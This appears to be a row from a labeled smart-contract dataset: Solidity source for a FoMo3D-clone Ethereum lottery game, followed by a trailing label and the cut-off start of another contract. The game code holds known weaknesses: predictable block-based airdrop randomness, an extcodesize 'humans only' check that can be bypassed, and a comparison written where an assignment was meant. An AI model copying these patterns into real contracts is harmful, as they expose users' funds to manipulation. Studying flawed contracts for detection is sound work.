if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 mktAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 mktAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 mktAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 mktAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FoMo3DWorld is modularLong, Ownable {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x789C537cE585595596D3905f401235f5A85B11d7);
string constant public name = "FoMo3D World";
string constant public symbol = "F3DW";
uint256 constant private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30, 6);
fees_[1] = F3Ddatasets.TeamFee(43, 0);
fees_[2] = F3Ddatasets.TeamFee(56, 10);
fees_[3] = F3Ddatasets.TeamFee(43, 8);
potSplit_[0] = F3Ddatasets.PotSplit(15, 10);
potSplit_[1] = F3Ddatasets.PotSplit(25, 0);
potSplit_[2] = F3Ddatasets.PotSplit(20, 20);
potSplit_[3] = F3Ddatasets.PotSplit(30, 10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.mktAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.mktAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.mktAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _mkt = (_pot.mul(potSplit_[_winTID].marketing)) / 100;
uint256 _res = ((_pot.sub(_win)).sub(_com)).sub(_gen).sub(_mkt);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_mkt);
if (!owner.send(_com)) {
_com = 0;
_res = _res.add(_com);
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.mktAmount = _mkt;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number))));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
uint256 _mkt = _eth.mul(fees_[_team].marketing) / 100;
_com = _com.add(_mkt);
owner.transfer(_com);
_eventData_.mktAmount = _mkt;
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
uint256 cut = (fees_[_team].marketing).add(13);
_eth = _eth.sub(_eth.mul(cut) / 100);
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0) {
_gen = _gen.sub(_dust);
}
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.mktAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public onlyOwner {
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 mktAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 marketing;
}
struct PotSplit {
uint256 gen;
uint256 marketing;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
} | 1 | 3,264 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
